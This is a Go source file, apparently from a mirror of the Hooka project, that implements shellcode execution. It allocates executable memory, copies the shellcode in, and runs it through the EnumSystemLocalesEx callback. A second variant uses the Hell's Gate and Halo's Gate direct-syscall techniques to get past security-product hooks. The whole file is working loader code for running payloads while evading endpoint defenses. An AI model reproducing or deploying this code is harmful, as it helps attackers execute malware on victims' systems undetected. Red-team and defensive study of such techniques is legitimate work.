mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
103 lines
1.7 KiB
Go
103 lines
1.7 KiB
Go
package core
|
|
|
|
import (
|
|
"unsafe"
|
|
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
func EnumSystemLocales(shellcode []byte) error {
|
|
|
|
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
|
ntdll := windows.NewLazyDLL("ntdll.dll")
|
|
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
|
RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")
|
|
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
|
|
|
|
addr, _, err := VirtualAlloc.Call(
|
|
0,
|
|
uintptr(len(shellcode)),
|
|
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
|
windows.PAGE_EXECUTE_READWRITE,
|
|
)
|
|
|
|
if addr == 0 {
|
|
return err
|
|
}
|
|
|
|
RtlMoveMemory.Call(
|
|
addr,
|
|
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
|
uintptr(len(shellcode)),
|
|
)
|
|
|
|
EnumSystemLocalesEx.Call(
|
|
addr,
|
|
0,
|
|
0,
|
|
0,
|
|
)
|
|
|
|
return nil
|
|
}
|
|
|
|
/*
|
|
|
|
Hell's Gate + Halo's Gate technique
|
|
|
|
*/
|
|
|
|
func EnumSystemLocalesHalos(shellcode []byte) error {
|
|
|
|
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
|
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
|
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
|
|
|
|
NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
pHandle, _, _ := GetCurrentProcess.Call()
|
|
|
|
var addr uintptr
|
|
regionsize := uintptr(len(shellcode))
|
|
|
|
r1, err := Syscall(
|
|
NtAllocateVirtualMemory,
|
|
uintptr(pHandle),
|
|
uintptr(unsafe.Pointer(&addr)),
|
|
0,
|
|
uintptr(unsafe.Pointer(®ionsize)),
|
|
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
|
windows.PAGE_EXECUTE_READWRITE,
|
|
)
|
|
|
|
if r1 != 0 {
|
|
return err
|
|
}
|
|
|
|
Syscall(
|
|
NtWriteVirtualMemory,
|
|
uintptr(pHandle),
|
|
addr,
|
|
uintptr(unsafe.Pointer(&shellcode[0])),
|
|
uintptr(len(shellcode)),
|
|
0,
|
|
)
|
|
|
|
EnumSystemLocalesEx.Call(
|
|
addr,
|
|
0,
|
|
0,
|
|
0,
|
|
)
|
|
|
|
return nil
|
|
}
|